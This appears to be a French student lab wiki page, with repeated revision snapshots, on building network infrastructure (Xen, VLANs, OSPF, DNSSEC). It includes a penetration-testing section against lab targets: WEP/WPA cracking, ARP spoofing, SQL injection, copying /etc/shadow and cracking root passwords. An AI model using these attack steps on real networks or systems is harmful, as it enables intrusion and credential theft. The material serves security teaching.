Nous signons ensuite les enregristrement de la zone avec la commande suivante:
dnssec-signzone -o trompettedelamort.site -k trompettedelamort.site-ksk ../db.trompettedelamort.site trompettedelamort.site-zsk
Ce qui a pour effet de générer un fichier zone "db.trompettedelamort.site.signed"

Nous n'avons donc plus qu'a remplacer db.trompettedelamort.site par db.trompettedelamort.site.signed dans le fichier named.conf.local:
root@trompettedelamort:~# cat /etc/bind/named.conf.local
//
// Do any local configuration here
zone "trompettedelamort.site" IN {
type master;
file "/etc/bind/db.trompettedelamort.site.signed";
allow-transfer { 217.70.177.40;};
};
// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

Pour finir il ne reste plus qu'a fournir la clef publique de la clef KSK à gandi.net. Pour se faire il faut se rendre dans "DNSSEC" puis dans "Add an external key", choisir KSK et "RSA/SHA-1" et renseigner la clef se trouvant dans
/etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key

On vérifie avec la commande suivante:
dnssec-verify -o trompettedelamort.site db.trompettedelamort.site.signed

Qui nous renvoie ce résultat:
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked
../db.trompettedelamort.site.signed

=Tests d’intrusion=

==5.1 Exploitation de failles du système (en cours)==

==5.2 Cassage de clef WEP d’un point d’accès WiFi (15/10/2020)==

Avec le packetage aircrack-ng il est possible de casser une clef wep.

Pour se faire on récupère le nom de de notre interface WiFi et son adresse MAC avec :
iwconfig

Ensuite pour analyser les packets WiFi qui circulent sur le réseau on se sert de la commande:
airodump-ng nomDeMaCarte
Se faisant, l'interface se met automatiquement en mode monitor.

Il faut ensuite tester le Point d'accés avec une injection test:
aireplay-ng -9 -e nomPA -a MACPA nomDeMaCarte
-9 permet de réaliser un test.

Pour casser la clef WEP, l'algorithme nécessite le plus de vecteur d'initialisation possible. Pour récupérer ces derniers on se sert de la commande suivante:
airodump-ng -c 3 --bssid MACPA -w output nomDeMaCarte
-c 3 correspond au canal sur lequel émet notre PA, et output sera le fichier contenant tous les vecteurs d'initialisations.

Pour accélérer l'acquisition de vecteurs d'initialisations,nous allons récupérer tous les paquets ARP émis par le PA et les réinjecter. A chaque réinjection les PA génère un nouveau vecteur d'initialisation, cette technique permet d'accélérer la collecte des vecteurs.

Pour permettre l'injection de paquet ARP dans le PA il faut d'abord associer la carte et le PA:
aireplay-ng 1 0 -e nomPA -a MACPA -h MACcarte nomDeMaCarte
-1 correspond à une fausse authentification et 0 au délais de réassociation.

Une fois que nous avons collecté suffisament de vecteurs nous pouvons lancer l'algorithme de cassage:
aircrack-ng -b MACPA output*.cap

==5.3 Cassage de mot de passe WPA-PSK par force brute (02/11/2020)==

On commence par mettre l'interface WiFi en mode monitor:
airmon-ng start maCarte

Ensuite on lance une écoute généralisée des trames WiFi qui circulent:
airodump-ng maCarte

A partir de là on peut récupérer le BSSID, L'ESSID et le canal utilisé par le PA qui nous intéresse, nous avons pris la kracotte03.

Puis pour cibler la recherche on lance la commande suivante:
airodump-ng -c 3 --bssid MACPA -w psk maCarte

A partir de la on attend un handshake (émis lors de la connexion d'un utilisateur au PA).

Une fois le handshake récupéré il n'y a plus qu'a lancer l'algorithme pour casser la PSK:
aircrack-ng -w dictionnaire -b MACPA psk*.cap

Il faut au préalable avoir un dictionnaire contenant toutes les combinaisons qui nous intéressent, dans notre un cas il nous faut toutes les combinaisons possibles sur 8bits en décimale.
Pour se faire soit on fait un petit programme générant toutes les combinaisons possibles, soit on se sert d'un outil de création de dictionnaire. Nous avons utilisé crunch avec la commande suivante:
crunch 8 8 0123456789 -o dictionnaire

Nous avons du attendre quelques heures avant que aircrack nous retourne la clef.

==5.4 Attaque de type "homme au milieu" par usurpation ARP (06/11/2020)==

N'ayant pas accès au eeePC (COVID19) on a créé deux machines virtuelles sur note machine personnelle pour simuler l'environement de TP.

[[Fichier:ARP1.png|1000px]]

On transforme la machine '''attacker''' en routeur:
attacker@attacker:~/ sysctl -w net.ipv4.ip_forward=1

Puis on lance l'empoisonnement du cache ARP de la victime:
attacker@attacker:~/ arpspoof -i enp0s3 -t 192.168.1.74 192.168.1.254

On peut vérifier que l'attaque a bien fonctionné en observant la table ARP de la victime:
victime@victime:~/ /arp
bbox.lan (192.168.1.254) at 08:00:27:34:f9:27
...
attacker (192.168.1.44) at 08:00:27:34:f9:27
L'adresse MAC de la passerelle par défaut (ma box internet dans ce cas) est la même que celle de la machine '''attacker'''

Lorsque la machine veut communiquer avec l'extérieur, elle passe donc automatiquement par la machine '''attacker''':
victime@victime:~/ traceroute 8.8.8.8
1 attacker (192.168.1.44) 0.456 ms 0.552 ms 0.537 ms
2 bbox.lan (192.168.1.254) 5.071 ms 5.053 ms 4.965 ms
...
9 dns.google (8.8.8.8) 13.306 ms 12.759 ms 12.551 ms

On lance wireshark sur '''attacker''' et on se connecte a un site http quelconque sur ''''victime'''. On peut voir transiter en claire les identifiants et mot de passes utilisés pour se connecter au site.

[[Fichier:ARP2.png|1000px]]

Même chose avec un logiciel de conversation instantanée non chiffré.

==5.5 Intrusion sur un serveur d’application Web (04/11/2020)==
===Injection SQL===
On se rend sur le site http://honey.plil.info. Etant donnée que le but est de s'introduire sur le serveur, on se doute que ce n'est pas l'application la plus sécurisée du monde: une simpl injection SQL pourais faire l'affaire pour obtenir une liste des identifiants de connexion. On renseigne donc les champs '''Identifiant''' et '''Mot de passe''' avec la valeure:
' OR 1 = 1 --
Bingo! L'application nous retourne un tableau avec des identifiant et mdp, on se connecter avec le profil '''admin'''

===Base de donnée===
En fouillant un peu sur l'interface web, on se rend compte qu'on a accés a un fichier '''config-db.php ''' (dans l'onglet '''Recherche d'un manuel'''). Ce dernier nous renseigne le mot de passe root d'abministration de la base de donnée. En se connectant à l'interface d'administration du serveur de BDD
http://honey.plil.info/phpmyadmin/ avec ce mot de passe, on accède au contenue des tables.

Une table en particulier nous interesse: '''users''' dans la base '''test''', puisqu'elle contient les identifiant de connexion ('''rex''')

===connexion au serveur===
On peut verifier que le serveur est bien accéssible a distance avec:
nmap -6 honey.plil.info
qui nous renseigne que les services http et ssh sont accéssible sur la machine.

On tente donc de se connecter en ssh avec les information récupérées dans la base de donnée.

On a accès a tous les fichier de configuration et nottament les informations sur les utilisateurs que l'on récupère:
scp /etc/passwd pifou@zabethXX:~/intrusion/passwd
scp /etc/shadow pifou@zabethXX:~/intrusion/shadow

===Cassage du mot de passe root===
Pour la suite, nous utilisons les commandes de l'utilitaire '''John the Ripper'''.
La commande suivante nous permet de voir les mots de passe chiffrés des utilisateurs.
unshadow ./passwd ./shadow | grep root > pass
On enregistre la clé de l'utilisateur '''root''' dans un fichier '''pass'''.

Comme nous savons que le mot de passe suis la meme logique que le mot de passe administrateur habituel des machines de projets, on suppose qu'il s'agit d'un répétition de 2 mot de 4 lettre: abcdabcd. On génere un dictionnaire qui permettera de casser le mot de passe chiffé.
crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico
sed -i 's/$.*$/\1\1/' dico

puis on lance le cassage:
/usr/sbin/john -w:dico pass

apres quelques minutes, le mot de passe est diponible en clair:
/usr/sbin/john --show pass

=Réalisations=

===6.1 Sécurisation de données===

===6.2 Chiffrement de données===

===6.3 Inspection ARP par un élément réseau===

===6.4 Sécurisation WiFi par WPA2-EAP===

TP sysres IMA5sc 2020/2021 G1

2020-11-16T23:08:04Z

Egury : /* 4.4 Sécurisation de serveur DNS par DNSSEC (16/11/2020) */

TP PRA - Evan Gury & Vincent Dubois - trompettedelamort

Informations générales
----------------------
{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 1
| trompettedelamort.site
| Debian 10 Buster
| 301
| 100.64.0.28
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.188
|}

=2 Installation des systèmes d’exploitation (12/10/2020)=

ssh capbreton.plil.info
xen-create-image --hostname=trompettedelamort --ip=100.64.0.28 --gateway=100.64.0.2 --netmask=255.255.255.0 --dir=/usr/local/xen --password=pasglop --dist=buster

* Création des disques de stockage sur le serveur de virtualisation (pour tout les binômes):

Sur Capbreton:

** On réquisitionne les deux disques de 2,7To que l'on met dans un groupe

pvcreate /dev/sde
pvcreate /dev/sdf
vgcreate storage /dev/sde /dev/sdf

** On créer 2 partitions de 10Go pour chaque binôme:

lvcreate -L10G -n trompettedelamort1 storage
lvcreate -L10G -n trompettedelamort2 storage
...meme chose pour chaque groupe...

** On formate nos partitions:

mkfs.ext4 /dev/storage/trompettedelamort1
mkfs.ext4 /dev/storage/trompettedelamort2

* Modification du fichier de config de la VM (/etc/xen/trompettedelamort.cfg)
vif = ['bridge=IMA5sc, ip=100.64.0.84, ...']
et on indique quel disque utiliser:
disk = [
'file:/usr/local/xen/domains/trompettedelamort/disk.img,xvda2,w',
'file:/usr/local/xen/domains/trompettedelamort/swap.img,xvda1,w',
'phy:/dev/storage/trompettedelamort1,xvda3,w',
'phy:/dev/storage/trompettedelamort2,xvda4,w'
]

* Lancer la VM
xl create -c /etc/xen/trompettedelamort.cfg

Ensuite, sur la MV:

* Montage et peuplement des partitions:
mount /dev/xvda3 /mnt/xvda3
mount /dev/xvda4 /mnt/xvda4
mv /var/* /mnt/xvda4
# /home est vide donc rien a déplacer

puis on démonte:
umount /mnt/xvda3
umount /mnt/xvda4

* Modification du fichier /etc/fstab pour monter les répertoires '''var''' et '''home''' sur les partitions crées. On ajoute:
/dev/xvda3 /home /ext4 default 0 2
/dev/xvda4 /var /ext4 default 0 2

et on applique les modification du fichier fstab:
mount -a

=3 Architecture réseau=

==3.1 L’architecture générale (12/10/2020)==

La mise en service de l'infrastructure physique (démarrer les routeurs,connexions physiques entre eux et avec le routeur de l'école) a été principalement réalisés par le groupe 14.

==3.2 Les réseaux virtuels (12/10/2020)==

On créer deux VLAN:
* VLAN131 pour se connecter au routeur de l'école
* VLAN333 pour accéder aux machines virtuelles sur Capbreton

Cette partie a partiellement été réalisée par le groupe 14 lors de la première séances

==3.5 Interconnexion avec Internet IPv4(15/10/2020 & 02/11/2020)==

Le réseau utilisé pour ce TP est le 193.48.57.176/28 (cohabitation avec les IMA2A5 qui ont 193.48.57.160/27). Nous avons donc a notre disposition 16 adresses IP (193.48.57.176 à 193.48.57.191) parmi lesquelles nous devons réserver :
* 1 adresse pour le réseau
* 1 adresse de Broadcast
* 1 adresse pour le routeur 1 (6509-E)
* 1 adresse pour le routeur 2 (9200)
* 1 adresse flottante pour les routeurs (redondance)
Ce qui nous laisse 11 adresses disponibles pour 13 groupes...Impossible

L'idée est donc de créer un sous réseau 10.64.0.16/28 et de faire de de la Translation d'adresse (NAT) vers 193.48.57.176/28
Nous économisons ainsi les adresses des routeurs et de diffusion qui n'ont pas besoin d’être translatées.

===OSPF===
L'OSPF permet aux routeurs dans un même domaine d'échanger des informations sur le réseau. Cela permet aux différents routeurs voisins d'avoir de meilleur tables de routages. On réalise donc cette étape sur les deux routeurs pour qu'ils s'echanges leurs tables entre eux mais également avec le routeur de l'école

'''6509-E'''

ip route 193.48.57.176 255.255.255.0 null0 #Ajout d'une route vers le routeur pour pouvoir ping directement à partir du routeur

router ospf 1 # un numéro de processus
router-id 10.60.0.101 # un id pour le routeur (plus petite adresse disponible)
log-adjacency-changes
summary-address 193.48.57.176 255.255.255.240 # adresse que l'on souhaite diffuser aux voisins (addresse du VLAN 333)
summary-address 100.60.0.0 255.240.0.0 not-advertise # address q'on veut pas diffuser (celle du reseau privé)
summary-address 10.0.0.0 255.0.0.0 not-advertise # address q'on veut pas diffuser (?)
redistribute connected subnets # autorise la diffusion pour les nouveaux réseaux qui peuvent être connectés
redistribute static subnets
network 192.168.222.8 0.0.0.7 area 2 # domaine de diffusion OSPF (Attention au masque inversé)

On peut vérifier le bon fonctonnement avec un ping vers l'adresse globale routeur de l'école
ping 193.48.57.48

De plus, on constate de nouvelles routes partagé par le routeur de l'école ("O" au début de la ligne)
show ip route

'''9200'''
On fait la meme chose en changeant le router-id : 10.60.0.102

===NAT===
On cherche à réaliser une translation d'IP (NAT static) et non une mascarade (injection = NAT Dynamic)
ip nat inside source static network 100.64.0.16 193.48.57.176 /28
Cela permet d'associer les adresse non routées de 100.64.0.16 à 100.64.0.28 aux adresse routées de 193.48.57.176 à 193.48.57.188
Il faut ensuite indiquer ques sont les VLAN concernés par la translation:
int vlan 131
ip nat outside
exit
int vlan 333
ip nat inside
exit

===Problème association OSPF et NAT===
Il semblerait que l'association de l'OSPF et du NAT soit plus complexe que prévu: les deux fonctionnent bien indépendamment mais pas ensemble. En effet, l'OSPF n'annonce pas les routes vers 100.64.0.16/28 donc aucune communication vers l'exterieur n'est possible.

Pour palier à ce problème, on déclare 100.64.0.0/24 sur VLAN333 et annonce manuellement les routes entre 193.48.57.176 et 100.640.16 (plus de NAT).
La configuration du 9200 a été faite par M. Redon, on s'occupe du 6509-E :
boot
enable
conf t
int vlan 333
no ip address 193.48.57.161 255.255.255.224 #on enleve l'ancienne ip routée
ip address 100.64.0.1 255.255.255.0
exit
exit
write

on modifie également l'identifiant de l'ospf 1 qui était en conflit avec celui des IMA2A5:
router ospf 1
router-id 10.60.100.1

Enfin, on ajoute la route vers notre MV à la main:

ip route 193.48.57.188 255.255.255.255 100.64.0.28

Puis on configure notre machine virtuelle de manière a ce qu'elle ait les deux IP (100.64.0.28 et 193.48.57.188)(cf. partie suivante).

Les paquets venant de l'extérieur sont propagé à destination de 193.48.57.188 au routeur (6509-E ou 9200) puis vers 100.64.0.28 sur le VLAN333 suivant la route indiquée précédemment. Les paquets émis par notre machine virtuelle sont transmis à la passerelle par défaut (100.64.0.1 si 6509-E ou 100.64.0.2 si 9200) (comme spécifié avec le mot clé "src" lors de l'établissement des routes) puis le routeur connait les routes pour sortir en passant par le routeur de l'école.

==3.6 Interconnexion avec Internet (IPv6)(02/11/2020)==
Le groupe 14 c'est occupé de configurer le vlan333 pour qu'il utilise des ipv6

On crée le VLAN301 pour notre domaine:

* '''sur 6509-E'''
conf t
vlan 301
name trompettedelamort
exit
int vlan 301
no shutdown
ip address 10.60.101.1 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60b3::0/64 eui-64
ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900
ipv6 nd router-preference High #car routeur principale

* '''sur 6509-E'''
conf t
vlan 301
name trompettedelamort
exit
int vlan 301
no shutdown
ip address 10.60.101.2 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60b3::0/64 eui-64
ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900
ipv6 nd router-preference Low

Annonce de route avec RIP fait par groupe 14

==3.7 Sécurisation du réseau (02/11/2020)==
En partenariat avec le groupe 14.
Attention la syntaxe est différente entre le 9200 et le 6509-E
On configure la redondance avec l'adresse flottante pour les VLAN333 et VLAN1 ainsi que pour le notre VLAN301.
'''6509-E'''
conf t
int vlan 333
vrrp 33 ip 100.64.0.254 # adresse flottante des routeur dans vlan333
vrrp 33 preemt # priorité au routeur qui a une priorité supérieur
vrrp 33 priority 110 # priorité supérieur a celle du 9200
exit
int vlan 301
vrrp 31 ip 10.60.100.254 # adresse flottante des routeur dans vlan333
vrrp 31 preemt # priorité au routeur qui a une priorité supérieur
vrrp 31 priority 110 # priorité supérieur a celle du 9200
exit
int vlan 301
vrrp 41 ip 10.60.101.254 # adresse flottante des routeur dans notre vlan
vrrp 41 preemt
vrrp 41 priority 110
exit
exit
write

'''9200'''
conf t
int vlan 333
vrrp 33 address-family ipv4
priority 100
address 100.64.0.254
preemt
exit
int vlan 1
vrrp 31 address-family ipv4
priority 100
address 10.60.100.254
preemt
exit
int vlan 301
vrrp 41 address-family ipv4
priority 100
address 10.60.101.254
preemt
exit
exit
write

==3.8 Interconnexion Internet de secours (IPv4) (16/11/2020)==
(En collaboration avec le groupe 14)

On connecte physiquement l'ISR au SDSL: Dans le local technique SR52, on repere sur quel port est branché le l'ÍSR pour le mettre dans le VLAN 531
conf t
int Gi0/37
switchport mode access
switchport access vlan 531
exit
exit
write

Sur l'ISR:
* On creer le vlan 531:
conf t
vlan 531

==3.9 Interconnexion Internet de secours (IPv6) (pas encore fait)==

=4 Services Internet=

==Connexion a internet (02/11/2020)==

Afin de mettre internet sur nos machines il faut au préalable modifier le fichier /etc/network/interfaces de nos VM:
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.188
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.28/24
up ip route add default via 100.64.0.2 src 193.48.57.188
down ip address del dev eth0 100.64.0.28/24
down ip route del default via 100.64.0.2 src 193.48.57.188

L'adresse 193.48.57.188 correspond à notre adressé routée, l'adresse 100.64.0.28 est notre adresse sur le vlan333 et l'adresse 100.64.0.2 est l'adresse du routeur/commutateur 9200 sur le vlan333.

Il faut ensuite ajouter la route sur le 9200 pour notre VM. Pour se faire on se connecte en ssh sur la zabeth09:
ssh pifou@zabet09.plil.info
Et ensuite via minicom:
minicom -os /dev/ttyACM0
On rentre la commande suivante (apres avoir fait enable et conf t au préalable):
ip route 193.48.57.188 255.255.255.255 100.64.0.28

Nous avons désormais accès à internet sur nos VM et nous pouvons donc maintenant installer bind9 et configurer notre DNS.

==4.1 Serveur SSH (02/11/2020)==
Le service SSH était activé par defaut.
Il faut juste autoriser la connexion en root dans le fichier /etc/ssh/sshd_config
PermitRootLogin yes

puis systemctl restart sshd

et on peut se connecter a notre vm
ssh root@193.48.57.188

==4.2 Serveur DNS (02/11/2020)==

Pour commencer dans le fichier de configuration /etc/resolv.conf nous avons mis comme adresse de serveur de nom
127.0.0.1

Dans named.conf.local, en suivant le cours nous avons modifié et/ou ajouté:
options{
directory "/var/cache/bind";
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32 ;

};

Ensuite avec bind9 nous avons pu configurer notre serveur de nom.
Dans le fichier /etc/bind/named.conf.local nous avons défini notre zone "trompettedelamort.site":
zone "trompettedelamort.site" IN {
type master;
file "/etc/bind/db.trompettedelamort.site";
allow-transfer { 217.70.177.40;};
};

Puis nous avons configuré le fichier db.trompettedelamort.site. Pour se faire nous avons pris le fichier par defaut db.local que nous avons copié puis modifié:
zone "trompettedelamort.site" IN {
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamoo
rt.site(
4 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.trompettedelamort.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.188

Enfin sur gandi.net nous avons crée un glue record dans lequel nous avons mis l'adresse ip de notre machine virtuelle puis nous avons ajouté dans Nameservers.
ns6.gandi.net possedant déjà son glue record, nous avons simplement ajouté ce dernier dans Nameservers.

==4.3 Sécurisation de site web par certificat (pas encore fait)==

==4.4 Sécurisation de serveur DNS par DNSSEC (16/11/2020)==

La configuration a été réalisé en suivant les instructions dans le sujet de TP rubrique : 4.4 Sécurisation de serveur DNS par DNSSEC

Premièrement nous avons modifié le ficher named.conf.options pour y ajouter l'options suivantes:
dnssec-enable yes

Nous avons ensuite crée un repertoir trompettedelamort.dnssec afin d'y générer les clefs. Nous devons générer une paire de clef KSK et une paire de clef ZSK.

Pour créer la paire de clef KSK, nous utilisons la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE trompettedelamort.site

Et pour la paire de clef ZSK, nous utilisons la commande suivante:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE trompettedelamort.site

Nous renommons ces paires avec comme prefixe trompettedelamort.site et comme suffice -zsk pour la paire zsk et -ksk pour la paire ksk et nous terminon avec .key pour les clefs publiques et .private pour les clefs privées.

Ensuite dans notre fichier zone db.trompettedelamort.site nous ajoutons les lignes suivantes sans oublier d'incrémenter le Serial:
$include /etc/bind/trompettedelamort.dnssec/trompettedelamort-ksk.key
$include /etc/bind/trompettedelamort.dnssec/trompettedelamort-zsk.key

Le fichier db.trompettedelamort.site ressemble donc à cela:
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamort.site.(

8 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.trompettedelamort.site.
@ IN NS ns6.gandi.net.
@ IN MX 100 ns1.trompettedelamort.site.
ns1 IN A 193.48.57.188
www IN A 193.48.57.188
$include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key
$include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-zsk.key

Nous signons ensuite les enregristrement de la zone avec la commande suivante:
dnssec-signzone -o trompettedelamort.site -k trompettedelamort.site-ksk ../db.trompettedelamort.site trompettedelamort.site-zsk
Ce qui a pour effet de générer un fichier zone "db.trompettedelamort.site.signed"

Nous n'avons donc plus qu'a remplacer db.trompettedelamort.site par db.trompettedelamort.site.signed dans le fichier named.conf.local:
root@trompettedelamort:~# cat /etc/bind/named.conf.local
//
// Do any local configuration here
zone "trompettedelamort.site" IN {
type master;
file "/etc/bind/db.trompettedelamort.site.signed";
allow-transfer { 217.70.177.40;};
};
// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

Pour finir il ne reste plus qu'a fournir la clef publique de la clef KSK à gandi.net. Pour se faire il faut se rendre dans "DNSSEC" puis dans "Add an external key", choisir KSK et "RSA/SHA-1" et renseigner la clef se trouvant dans
/etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key

On vérifie avec la commande suivante:
dnssec-verify -o trompettedelamort.site db.trompettedelamort.site.signed

Qui nous renvoie ce résultat:
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked
../db.trompettedelamort.site.signed

=Tests d’intrusion=

==5.1 Exploitation de failles du système (en cours)==

==5.2 Cassage de clef WEP d’un point d’accès WiFi (15/10/2020)==

Avec le packetage aircrack-ng il est possible de casser une clef wep.

Pour se faire on récupère le nom de de notre interface WiFi et son adresse MAC avec :
iwconfig

Ensuite pour analyser les packets WiFi qui circulent sur le réseau on se sert de la commande:
airodump-ng nomDeMaCarte
Se faisant, l'interface se met automatiquement en mode monitor.

Il faut ensuite tester le Point d'accés avec une injection test:
aireplay-ng -9 -e nomPA -a MACPA nomDeMaCarte
-9 permet de réaliser un test.

Pour casser la clef WEP, l'algorithme nécessite le plus de vecteur d'initialisation possible. Pour récupérer ces derniers on se sert de la commande suivante:
airodump-ng -c 3 --bssid MACPA -w output nomDeMaCarte
-c 3 correspond au canal sur lequel émet notre PA, et output sera le fichier contenant tous les vecteurs d'initialisations.

Pour accélérer l'acquisition de vecteurs d'initialisations,nous allons récupérer tous les paquets ARP émis par le PA et les réinjecter. A chaque réinjection les PA génère un nouveau vecteur d'initialisation, cette technique permet d'accélérer la collecte des vecteurs.

Pour permettre l'injection de paquet ARP dans le PA il faut d'abord associer la carte et le PA:
aireplay-ng 1 0 -e nomPA -a MACPA -h MACcarte nomDeMaCarte
-1 correspond à une fausse authentification et 0 au délais de réassociation.

Une fois que nous avons collecté suffisament de vecteurs nous pouvons lancer l'algorithme de cassage:
aircrack-ng -b MACPA output*.cap

==5.3 Cassage de mot de passe WPA-PSK par force brute (02/11/2020)==

On commence par mettre l'interface WiFi en mode monitor:
airmon-ng start maCarte

Ensuite on lance une écoute généralisée des trames WiFi qui circulent:
airodump-ng maCarte

A partir de là on peut récupérer le BSSID, L'ESSID et le canal utilisé par le PA qui nous intéresse, nous avons pris la kracotte03.

Puis pour cibler la recherche on lance la commande suivante:
airodump-ng -c 3 --bssid MACPA -w psk maCarte

A partir de la on attend un handshake (émis lors de la connexion d'un utilisateur au PA).

Une fois le handshake récupéré il n'y a plus qu'a lancer l'algorithme pour casser la PSK:
aircrack-ng -w dictionnaire -b MACPA psk*.cap

Il faut au préalable avoir un dictionnaire contenant toutes les combinaisons qui nous intéressent, dans notre un cas il nous faut toutes les combinaisons possibles sur 8bits en décimale.
Pour se faire soit on fait un petit programme générant toutes les combinaisons possibles, soit on se sert d'un outil de création de dictionnaire. Nous avons utilisé crunch avec la commande suivante:
crunch 8 8 0123456789 -o dictionnaire

Nous avons du attendre quelques heures avant que aircrack nous retourne la clef.

==5.4 Attaque de type "homme au milieu" par usurpation ARP (06/11/2020)==

N'ayant pas accès au eeePC (COVID19) on a créé deux machines virtuelles sur note machine personnelle pour simuler l'environement de TP.

[[Fichier:ARP1.png|1000px]]

On transforme la machine '''attacker''' en routeur:
attacker@attacker:~/ sysctl -w net.ipv4.ip_forward=1

Puis on lance l'empoisonnement du cache ARP de la victime:
attacker@attacker:~/ arpspoof -i enp0s3 -t 192.168.1.74 192.168.1.254

On peut vérifier que l'attaque a bien fonctionné en observant la table ARP de la victime:
victime@victime:~/ /arp
bbox.lan (192.168.1.254) at 08:00:27:34:f9:27
...
attacker (192.168.1.44) at 08:00:27:34:f9:27
L'adresse MAC de la passerelle par défaut (ma box internet dans ce cas) est la même que celle de la machine '''attacker'''

Lorsque la machine veut communiquer avec l'extérieur, elle passe donc automatiquement par la machine '''attacker''':
victime@victime:~/ traceroute 8.8.8.8
1 attacker (192.168.1.44) 0.456 ms 0.552 ms 0.537 ms
2 bbox.lan (192.168.1.254) 5.071 ms 5.053 ms 4.965 ms
...
9 dns.google (8.8.8.8) 13.306 ms 12.759 ms 12.551 ms

On lance wireshark sur '''attacker''' et on se connecte a un site http quelconque sur ''''victime'''. On peut voir transiter en claire les identifiants et mot de passes utilisés pour se connecter au site.

[[Fichier:ARP2.png|1000px]]

Même chose avec un logiciel de conversation instantanée non chiffré.

==5.5 Intrusion sur un serveur d’application Web (04/11/2020)==
===Injection SQL===
On se rend sur le site http://honey.plil.info. Etant donnée que le but est de s'introduire sur le serveur, on se doute que ce n'est pas l'application la plus sécurisée du monde: une simpl injection SQL pourais faire l'affaire pour obtenir une liste des identifiants de connexion. On renseigne donc les champs '''Identifiant''' et '''Mot de passe''' avec la valeure:
' OR 1 = 1 --
Bingo! L'application nous retourne un tableau avec des identifiant et mdp, on se connecter avec le profil '''admin'''

===Base de donnée===
En fouillant un peu sur l'interface web, on se rend compte qu'on a accés a un fichier '''config-db.php ''' (dans l'onglet '''Recherche d'un manuel'''). Ce dernier nous renseigne le mot de passe root d'abministration de la base de donnée. En se connectant à l'interface d'administration du serveur de BDD
http://honey.plil.info/phpmyadmin/ avec ce mot de passe, on accède au contenue des tables.

Une table en particulier nous interesse: '''users''' dans la base '''test''', puisqu'elle contient les identifiant de connexion ('''rex''')

===connexion au serveur===
On peut verifier que le serveur est bien accéssible a distance avec:
nmap -6 honey.plil.info
qui nous renseigne que les services http et ssh sont accéssible sur la machine.

On tente donc de se connecter en ssh avec les information récupérées dans la base de donnée.

On a accès a tous les fichier de configuration et nottament les informations sur les utilisateurs que l'on récupère:
scp /etc/passwd pifou@zabethXX:~/intrusion/passwd
scp /etc/shadow pifou@zabethXX:~/intrusion/shadow

===Cassage du mot de passe root===
Pour la suite, nous utilisons les commandes de l'utilitaire '''John the Ripper'''.
La commande suivante nous permet de voir les mots de passe chiffrés des utilisateurs.
unshadow ./passwd ./shadow | grep root > pass
On enregistre la clé de l'utilisateur '''root''' dans un fichier '''pass'''.

Comme nous savons que le mot de passe suis la meme logique que le mot de passe administrateur habituel des machines de projets, on suppose qu'il s'agit d'un répétition de 2 mot de 4 lettre: abcdabcd. On génere un dictionnaire qui permettera de casser le mot de passe chiffé.
crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico
sed -i 's/$.*$/\1\1/' dico

puis on lance le cassage:
/usr/sbin/john -w:dico pass

apres quelques minutes, le mot de passe est diponible en clair:
/usr/sbin/john --show pass

=Réalisations=

===6.1 Sécurisation de données===

===6.2 Chiffrement de données===

===6.3 Inspection ARP par un élément réseau===

===6.4 Sécurisation WiFi par WPA2-EAP===

TP sysres IMA5sc 2020/2021 G1

2020-11-16T23:04:01Z

Egury : /* 4.4 Sécurisation de serveur DNS par DNSSEC (16/11/2020) */

TP PRA - Evan Gury & Vincent Dubois - trompettedelamort

Informations générales
----------------------
{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 1
| trompettedelamort.site
| Debian 10 Buster
| 301
| 100.64.0.28
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.188
|}

=2 Installation des systèmes d’exploitation (12/10/2020)=

ssh capbreton.plil.info
xen-create-image --hostname=trompettedelamort --ip=100.64.0.28 --gateway=100.64.0.2 --netmask=255.255.255.0 --dir=/usr/local/xen --password=pasglop --dist=buster

* Création des disques de stockage sur le serveur de virtualisation (pour tout les binômes):

Sur Capbreton:

** On réquisitionne les deux disques de 2,7To que l'on met dans un groupe

pvcreate /dev/sde
pvcreate /dev/sdf
vgcreate storage /dev/sde /dev/sdf

** On créer 2 partitions de 10Go pour chaque binôme:

lvcreate -L10G -n trompettedelamort1 storage
lvcreate -L10G -n trompettedelamort2 storage
...meme chose pour chaque groupe...

** On formate nos partitions:

mkfs.ext4 /dev/storage/trompettedelamort1
